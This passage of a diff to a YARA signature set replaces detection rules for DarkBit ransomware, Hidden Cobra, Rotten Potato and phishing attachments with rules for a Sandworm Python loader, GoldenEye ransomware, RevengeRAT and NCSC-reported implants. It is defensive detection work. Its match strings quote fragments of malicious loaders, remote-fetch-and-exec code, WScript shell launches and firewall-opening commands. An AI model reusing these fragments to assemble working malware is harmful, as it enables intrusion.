-		hash7 = "f3906be01d51e2e1ae9b03cd09702b6e0794b9c9fd7dc04024f897e96bb13232"
-		hash8 = "f65ae9ccf988a06a152f27a4c0d7992100a2d9d23d80efe8d8c2a5c9bd78a3a7"
+		id = "a392d800-1fe8-5ae9-b813-e1dfcedecda6"
+		date = "2020-05-28"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/billyleonard/status/1266054881225236482"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L131-L148"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2ccc4c7fc75c04cbcab34904de2e7ab055a15c1017ec0f8d01b06454f4395047"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		hash1 = "c025008463fdbf44b2f845f2d82702805d931771aea4b506573b83c8f58bccca"
 
 	strings:
-		$s1 = "INVALID PARAMETERS. TYPE ONHAT.EXE -h FOR HELP INFORMATION." fullword ascii
-		$s2 = "[ONHAT] LISTENS (S, %d.%d.%d.%d, %d) ERROR." fullword ascii
-		$s3 = "[ONHAT] CONNECTS (T, %d.%d.%d.%d, %d.%d.%d.%d, %d) ERROR." fullword ascii
+		$x1 = "o.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko')]" ascii fullword
+		$s1 = "exec(o.open('http://" ascii
+		$s2 = "__import__({2:'urllib2',3:'urllib.request'}"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and (1 of ($s*))) or (2 of them )
+		uint16(0)==0x6d69 and filesize <1KB and 1 of ($x*) or 2 of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Darkbit_Feb23_1 : FILE
+rule SIGNATURE_BASE_APT_RU_Sandworm_PY_May20_2 : FILE
 {
 	meta:
-		description = "Detects indicators found in DarkBit ransomware"
-		author = "Florian Roth"
-		id = "d209a0c2-f649-5fb1-9ecd-f1c35caa796f"
-		date = "2023-02-13"
+		description = "Detects Sandworm Python loader"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5b32ad64-d959-5632-a03c-17aa055b213f"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/idonaor1/status/1624703255770005506?s=12&t=mxHaauzwR6YOj5Px8cIeIw"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_darkbit_feb23.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ba1baea7cb7362160c4b00b0355000a789b238c1ec82b840479c04028e6ca3ab"
+		reference = "https://twitter.com/billyleonard/status/1266054881225236482"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L150-L167"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5fb61a9cef64ecf97adc78bf67db667cfd9e5e6f3e03f1bba8f3cdbf6c257520"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "abfa83cf54db8fa548942acd845b4f34acc94c46d4e1fb5ce7e97cc0c6596676"
 
 	strings:
-		$s1 = ".onion" ascii
-		$s2 = "GetMOTWHostUrl"
-		$x1 = "hus31m7c7ad.onion"
-		$x2 = "iw6v2p3cruy"
-		$xn1 = "You will receive decrypting key after the payment."
+		$x1 = "import sys;import re, subprocess;cmd" ascii fullword
+		$x2 = "UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http"
+		$x3 = "';t='/admin/get.php';req" ascii
+		$x4 = "ps -ef | grep Little\\ Snitch | grep " ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10MB and (1 of ($x*) or 2 of them ) or 4 of them or ( filesize <10MB and $xn1)
+		uint16(0)==0x6d69 and filesize <2KB and 1 of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Darkbit_Feb23_2 : FILE
+rule SIGNATURE_BASE_Goldeneye_Ransomware_XLS : FILE
 {
 	meta:
-		description = "Detects Go based DarkBit ransomware (garbled code; could trigger on other obfuscated samples, too)"
-		author = "Florian Roth"
-		id = "f530815c-68e7-55f1-8e36-bc74a1059584"
-		date = "2023-02-13"
+		description = "GoldenEye XLS with Macro - file Schneider-Bewerbung.xls"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6eafcc35-56ef-534f-884a-0bb47c27c274"
+		date = "2016-12-06"
 		modified = "2023-12-05"
-		reference = "https://www.hybrid-analysis.com/sample/9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff?environmentId=160"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_darkbit_feb23.yar#L25-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "577435536300902811612a3415e82420574c98345b91b21fb2bfd2bfde396bec"
+		reference = "https://goo.gl/jp2SkT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_goldeneye.yar#L10-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "827c1d1c0f9c3ebd77413de7e1db5e29d05f2ece6676c79a79f6c1ff2788f42b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2320d4232ee80cc90bacd768ba52374a21d0773c39895b88cdcaa7782e16c441"
 
 	strings:
-		$s1 = "runtime.initLongPathSupport" ascii fullword
-		$s2 = "reflect." ascii
-		$s3 = "    \"processes\": []," ascii fullword
-		$s4 = "^!* %!(!" ascii fullword
-		$op1 = { 4d 8b b6 00 00 00 00 48 8b 94 24 40 05 00 00 31 c0 87 82 30 03 00 00 b8 01 00 00 00 f0 0f c1 82 00 03 00 00 48 8b 44 24 48 48 8b 0d ba 1f 32 00 }
-		$op2 = { 49 8d 49 01 0f 1f 00 48 39 d9 7c e2 b9 0b 00 00 00 49 89 d8 e9 28 fc ff ff e8 89 6c d7 ff }
+		$x1 = "fso.GetTempName();tmp_path = tmp_path.replace('.tmp', '.exe')" fullword ascii
+		$x2 = "var shell = new ActiveXObject('WScript.Shell');shell.run(t'" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20000KB and all of them
+		( uint16(0)==0xcfd0 and filesize <4000KB and 1 of them )
 }
-rule SIGNATURE_BASE_APT_Hiddencobra_Enc_PK_Header : HIDDEN_COBRA TYPEFRAME FILE
+rule SIGNATURE_BASE_Goldeneyeransomware_Dropper_Malformedzoomit : FILE
 {
 	meta:
-		description = "Hidden Cobra - Detects trojan with encrypted header"
-		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
-		id = "5d7001b3-162c-5a97-a740-1b8e33d4aa9e"
-		date = "2018-04-12"
+		description = "Auto-generated rule"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6ebf2d13-7d58-5a1b-a836-66d533f408e8"
+		date = "2016-12-06"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ar18_165a.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d0c8345b69e5f421fd93bc239031f2e51a120ae64be1eca0c1fdae2aa55ac42a"
+		reference = "https://goo.gl/jp2SkT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_goldeneye.yar#L26-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c18405a272c9210973e3184b8267306919cba8795b12d5982a9e3e8f748f9782"
 		score = 75
 		quality = 85
-		tags = "HIDDEN_COBRA, TYPEFRAME, FILE"
-		incident = "10135536"
-		category = "hidden_cobra"
-		family = "TYPEFRAME"
-		hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b5ef16922e2c76b09edd71471dd837e89811c5e658406a8495c1364d0d9dc690"
 
 	strings:
-		$s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 }
-		$s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a }
-		$s2 = { ae 1d af 74 c0 f5 e1 02 50 10 }
+		$s1 = "ZoomIt - Sysinternals: www.sysinternals.com" fullword ascii
+		$n1 = "Mark Russinovich" wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
+		( uint16(0)==0x5a4d and filesize <800KB and $s1 and not $n1)
 }
-rule SIGNATURE_BASE_APT_Hiddencobra_Import_Obfuscation_2 : HIDDEN_COBRA TYPEFRAME FILE
+rule SIGNATURE_BASE_Revengerat_Sep17 : FILE
 {
 	meta:
-		description = "Hidden Cobra - Detects remote access trojan"
-		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
-		id = "bc139580-a55b-514f-8a4e-ca1402ce3ad9"
-		date = "2018-04-12"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ar18_165a.yar#L21-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d52fc053afc6b3beb35a6dfd0f9b3714a5bad4e9b0dcfcce7be87d65f0a0c23e"
+		description = "Detects RevengeRAT malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7e58af06-a0ce-532c-9483-b1eca5e3cc28"
+		date = "2017-09-04"
+		modified = "2020-07-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_revenge_rat.yar#L11-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "467133402d6898f325cfd8c18308fc2a4dafd06c8624f9347225f16afd4035ce"
 		score = 75
 		quality = 85
-		tags = "HIDDEN_COBRA, TYPEFRAME, FILE"
-		incident = "10135536"
-		category = "hidden_cobra"
-		family = "TYPEFRAME"
-		hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2a86a4b2dcf1657bcb2922e70fc787aa9b66ec1c26dc2119f669bd2ce3f2e94a"
+		hash2 = "7c271484c11795876972aabeb277c7b3035f896c9e860a852d69737df6e14213"
+		hash3 = "fe00c4f9c8439eea50b44f817f760d8107f81e2dba7f383009fde508ff4b8967"
 
 	strings:
-		$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F}
-		$s1 = {B6 DF 01 FD 48 B5 }
-		$s2 = {B6 D5 0E F3 4E B5 }
-		$s3 = {B7 DF 0E EE }
-		$s4 = {B6 DF 03 FC }
-		$s5 = {A7 D3 03 FC }
+		$x1 = "Nuclear Explosion.g.resources" fullword ascii
+		$x4 = "5B1EE7CAD3DFF220A95D1D6B91435D9E1520AC41" fullword ascii
+		$x5 = "\\RevengeRAT\\" ascii
+		$x6 = "Revenge-RAT client has been successfully installed." ascii
+		$x7 = "Nuclear Explosion.exe" fullword ascii
+		$x8 = " Revenge-RAT 201" wide
+		$s1 = "{11111-22222-20001-00001}" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
+		( uint16(0)==0x5a4d and filesize <500KB and 1 of ($x*)) or (3 of them )
 }
-rule SIGNATURE_BASE_APT_NK_AR18_165A_Hiddencobra_Import_Deob : HIDDEN_COBRA TYPEFRAME FILE
+rule SIGNATURE_BASE_Bytes_Used_In_AES_Key_Generation : FILE
 {
 	meta:
-		description = "Hidden Cobra - Detects installed proxy module as a service"
-		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
-		id = "f403d589-be35-57a7-9675-f92657c11acc"
-		date = "2018-04-12"
+		description = "Detects Backdoor.goodor"
+		author = "NCSC"
+		id = "26a549dd-cbd2-5abc-8d9d-5ea354d0ece8"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ar18_165a.yar#L43-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ae769e62fef4a1709c12c9046301aa5d"
-		hash = "e48fe20eblf5a5887f2ac631fed9ed63"
-		logic_hash = "2eff83738ca4f2db8327c1ee2a9539d7ce882a315025a656d391c16079e432cb"
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L9-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
+		logic_hash = "221f5ea0a0224a96588912e7ddfbafd20b0b10c119395ca14d1138c284d7b79e"
 		score = 75
-		quality = 85
-		tags = "HIDDEN_COBRA, TYPEFRAME, FILE"
-		incident = "10135536"
-		category = "hidden_cobra"
-		family = "TYPEFRAME"
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$ = { 8a 01 3c 62 7c 0a 3c 79 7f 06 b2 db 2a d0 88 11 8a 41 01 41 84 c0 75 e8}
-		$ = { 8A 08 80 F9 62 7C 0B 80 F9 79 7F 06 82 DB 2A D1 88 10 8A 48 01 40 84 C9 75 E6}
+		$a1 = {35 34 36 35 4B 4A 55 54 5E 49 55 5F 29 7B 68 36 35 67 34 36 64 66 35 68}
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
+		uint16(0)==0x5a4d and filesize <5000KB and all of ($a*)
 }
-rule SIGNATURE_BASE_APT_NK_AR18_165A_1 : FILE
+rule SIGNATURE_BASE_Partial_Implant_ID : FILE
 {
 	meta:
-		description = "Detects APT malware from AR18-165A report by US CERT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "45f5205d-7f69-5646-aef8-f95d139f9720"
-		date = "2018-06-15"
+		description = "Detects implant from NCSC report"
+		author = "NCSC"
+		id = "15144f4a-2c96-57f0-b7e9-adbac477c38a"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ar18_165a.yar#L62-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b87c537c9ff38329a5e1e39d5ad1d6cef724c580f246721443eab603534b29d"
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L24-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
+		logic_hash = "d0a29bed3c19007cb08427769918b0a02d5d247211a1ceaff31aed5839c78966"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359"
 
 	strings:
-		$s1 = "netsh.exe advfirewall firewall add rule name=\"PortOpenning\" dir=in protocol=tcp localport=%d action=allow enable=yes" fullword wide
-		$s2 = "netsh.exe firewall add portopening TCP %d \"PortOpenning\" enable" fullword wide
+		$a1 = {38 38 31 34 35 36 46 43}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of ($a*)
 }
-rule SIGNATURE_BASE_Rottenpotato_Potato : FILE
+rule SIGNATURE_BASE_Sleep_Timer_Choice : FILE
 {
 	meta:
-		description = "Detects a component of privilege escalation tool Rotten Potato - file Potato.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4a12783c-f58a-518b-a80a-f09f146304cc"
-		date = "2017-02-07"
-		modified = "2022-12-21"
-		reference = "https://github.com/foxglovesec/RottenPotato"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rottenpotato.yar#L10-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79d2dfd5c2cfd12301c1924dce2ca2a2c3cc070565671c3e0cd69123d2245b1c"
-		score = 90
+		description = "Detects malware from NCSC report"
+		author = "NCSC"
+		id = "c64db0dd-2858-5508-ac51-d3318113a060"
+		date = "2018-04-06"
+		modified = "2023-12-05"
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L39-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
+		logic_hash = "5d2b656aabb113c50805d4af0faa62f579547dd4ec328ff2778fab64d778b8b9"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "59cdbb21d9e487ca82748168682f1f7af3c5f2b8daee3a09544dd58cbf51b0d5"
 
 	strings:
-		$x1 = "Potato.exe -ip <ip>" fullword wide
-		$x2 = "-enable_httpserver true -enable_spoof true" fullword wide
-		$x3 = "/C schtasks.exe /Create /TN omg /TR" fullword wide
-		$x4 = "-enable_token true -enable_dce true" fullword wide
-		$x5 = "DNS lookup succeeds - UDP Exhaustion failed!" fullword wide
-		$x6 = "DNS lookup fails - UDP Exhaustion worked!" fullword wide
-		$x7 = "\\obj\\Release\\Potato.pdb" ascii
-		$x8 = "function FindProxyForURL(url,host){if (dnsDomainIs(host, \"localhost\")) return \"DIRECT\";" fullword wide
-		$s1 = "\"C:\\Windows\\System32\\cmd.exe\" /K start" fullword wide
+		$a1 = {8b0424b90f00000083f9ff743499f7f98d420f}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*)) or (2 of them )
+		uint16(0)==0x5a4d and filesize <1000KB and all of ($a*)
 }
-rule SIGNATURE_BASE_SUSP_ZIP_LNK_Phishattachment_Pattern_Jun22_1 : FILE
+rule SIGNATURE_BASE_User_Function_String
 {
 	meta:
-		description = "Detects suspicious tiny ZIP files with phishing attachment characteristics"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3537c4ea-a51d-5100-97d7-71a24da5ff43"
-		date = "2022-06-23"
+		description = "Detects user function string from NCSC report"
+		author = "NCSC"
+		id = "563ac6af-6b37-53c6-ae13-d97e31edb088"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_phish_attachments.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2ff398379e3d8112991eeacd99bf9d3bafbf3e9266f012d2539d6b2661d5969e"
-		score = 65
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L54-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
+		logic_hash = "04821d1d5c12b5a9aca3c5b4be9f7a7d35320ad1503ccbdadebc7710c613a976"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "4edb41f4645924d8a73e7ac3e3f39f4db73e38f356bc994ad7d03728cd799a48"
-		hash2 = "c4fec375b44efad2d45c49f30133efbf6921ce82dbb2d1a980f69ea6383b0ab4"
-		hash3 = "9c70eeac97374213355ea8fa019a0e99e0e57c8efc43daa3509f9f98fa71c8e4"
-		hash4 = "ddc20266e38a974a28af321ab82eedaaf51168fbcc63ac77883d8be5200dcaf9"
-		hash5 = "b59788ae984d9e70b4f7f5a035b10e6537063f15a010652edd170fc6a7e1ea2f"
+		tags = ""
 
 	strings:
-		$sl1 = ".lnk"
+		$a2 = "e.RandomHashString"
+		$a3 = "e.Decode"
+		$a4 = "e.Decrypt"
+		$a5 = "e.HashStr"
+		$a6 = "e.FromB64"
 
 	condition:
-		uint16(0)==0x4b50 and filesize <2KB and $sl1 in ( filesize -256.. filesize )
+		4 of ($a*)
 }
-rule SIGNATURE_BASE_SUSP_ZIP_ISO_Phishattachment_Pattern_Jun22_1 : FILE
+rule SIGNATURE_BASE_Generic_Shellcode_Downloader_Specific : FILE
 {
 	meta:
-		description = "Detects suspicious small base64 encoded ZIP files (MIME email attachments) with .iso files as content as often used in phishing attacks"
-		author = "Florian Roth (Nextron Systems)"
-		id = "638541a6-d2d4-513e-978c-9d1b9f5e3b71"
-		date = "2022-06-23"
+		description = "Detects Doorshell from NCSC report"
+		author = "NCSC"
+		id = "ddd25add-ff84-5106-ac3c-5d5b4c1ef2a9"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_phish_attachments.yar#L23-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "21de56d6209050b429c0cce82fd334d1b38a2a3727db5ead06f36fa9d503e193"
-		score = 65
-		quality = 85
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L73-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b8bc0611a7fd321d2483a0a9a505251e15c22402e0cfdc62c0258af53ed3658a"
+		logic_hash = "9315ad03b5a28030c32fea5547db3ae421a1ebdae0b96a8a4c2f92660c41bc40"
+		score = 75
+		quality = 79
 		tags = "FILE"
 
 	strings:
-		$pkzip_base64_1 = { 0A 55 45 73 44 42 }
-		$pkzip_base64_2 = { 0A 55 45 73 44 42 }
-		$pkzip_base64_3 = { 0A 55 45 73 48 43 }
-		$iso_1 = "Lmlzb1BL"
-		$iso_2 = "5pc29QS"
-		$iso_3 = "uaXNvUE"
+		$push1 = {68 6C 6C 6F 63}
+		$push2 = {68 75 61 6C 41}
+		$push3 = {68 56 69 72 74}
+		$a = {BA 90 02 00 00 46 C1 C6 19 03 DD 2B F4 33 DE}
+		$b = {87 C0 81 F2 D1 19 89 14 C1 C8 1F FF E0}
 
 	condition:
-		filesize <2000KB and 1 of ($pk*) and 1 of ($iso*)
+		( uint16(0)==0x5A4D and uint16( uint32(0x3C))==0x4550) and ($a or $b) and @push1<@push2 and @push2<@push3
 }
-rule SIGNATURE_BASE_SUSP_Archive_Phishing_Attachment_Characteristics_Jun22_1 : FILE
+rule SIGNATURE_BASE_Batch_Script_To_Run_Psexec
 {
 	meta:
-		description = "Detects characteristics of suspicious file names or double extensions often found in phishing mail attachments"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3cb8c371-f40b-5773-84d1-3bce37da529e"
-		date = "2022-06-29"
+		description = "Detects malicious batch file from NCSC report"
+		author = "NCSC"
+		id = "1fbeeec8-a5bd-569e-b435-c7d82d32e47b"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/0xtoxin/status/1540524891623014400?s=12&t=IQ0OgChk8tAIdTHaPxh0Vg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_phish_attachments.yar#L43-L141"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "647044fa3b5cf6f0e9e738fa7b7d24f8918b7a7fb359342e1314d97b50debf87"
-		score = 65
-		quality = 60
-		tags = "FILE"
-		hash1 = "caaa5c5733fca95804fffe70af82ee505a8ca2991e4cc05bc97a022e5f5b331c"
-		hash2 = "a746d8c41609a70ce10bc69d459f9abb42957cc9626f2e83810c1af412cb8729"
+		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ncsc_report_04_2018.yar#L91-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b7d7c4bc8f9fd0e461425747122a431f93062358ed36ce281147998575ee1a18"
+		logic_hash = "9bdaa14aa535c178914f83c12b23484162f085c6fc6041d379268546ee99f462"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$sa01 = "INVOICE.exePK" ascii
-		$sa02 = "PAYMENT.exePK" ascii
-		$sa03 = "REQUEST.exePK" ascii
-		$sa04 = "ORDER.exePK" ascii
-		$sa05 = "invoice.exePK" ascii
-		$sa06 = "payment.exePK" ascii
-		$sa07 = "_request.exePK" ascii
-		$sa08 = "_order.exePK" ascii
-		$sa09 = "-request.exePK" ascii
-		$sa10 = "-order.exePK" ascii
-		$sa11 = " request.exePK" ascii
-		$sa12 = " order.exePK" ascii
-		$sa14 = ".doc.exePK" ascii
-		$sa15 = ".docx.exePK" ascii
-		$sa16 = ".xls.exePK" ascii
-		$sa17 = ".xlsx.exePK" ascii
-		$sa18 = ".pdf.exePK" ascii
-		$sa19 = ".ppt.exePK" ascii
-		$sa20 = ".pptx.exePK" ascii
-		$sa21 = ".rtf.exePK" ascii
-		$sa22 = ".txt.exePK" ascii
-		$sb01 = "SU5WT0lDRS5leGVQS"
-		$sb02 = "lOVk9JQ0UuZXhlUE"
-		$sb03 = "JTlZPSUNFLmV4ZVBL"
-		$sb04 = "UEFZTUVOVC5leGVQS"
-		$sb05 = "BBWU1FTlQuZXhlUE"
-		$sb06 = "QQVlNRU5ULmV4ZVBL"
-		$sb07 = "UkVRVUVTVC5leGVQS"
-		$sb08 = "JFUVVFU1QuZXhlUE"
-		$sb09 = "SRVFVRVNULmV4ZVBL"
-		$sb10 = "T1JERVIuZXhlUE"
-		$sb11 = "9SREVSLmV4ZVBL"
-		$sb12 = "PUkRFUi5leGVQS"
-		$sb13 = "aW52b2ljZS5leGVQS"
-		$sb14 = "ludm9pY2UuZXhlUE"
-		$sb15 = "pbnZvaWNlLmV4ZVBL"
-		$sb16 = "cGF5bWVudC5leGVQS"
-		$sb17 = "BheW1lbnQuZXhlUE"
-		$sb18 = "wYXltZW50LmV4ZVBL"
-		$sb19 = "X3JlcXVlc3QuZXhlUE"
-		$sb20 = "9yZXF1ZXN0LmV4ZVBL"
-		$sb21 = "fcmVxdWVzdC5leGVQS"
-		$sb22 = "X29yZGVyLmV4ZVBL"
-		$sb23 = "9vcmRlci5leGVQS"
-		$sb24 = "fb3JkZXIuZXhlUE"
-		$sb25 = "LXJlcXVlc3QuZXhlUE"
-		$sb26 = "1yZXF1ZXN0LmV4ZVBL"
-		$sb27 = "tcmVxdWVzdC5leGVQS"
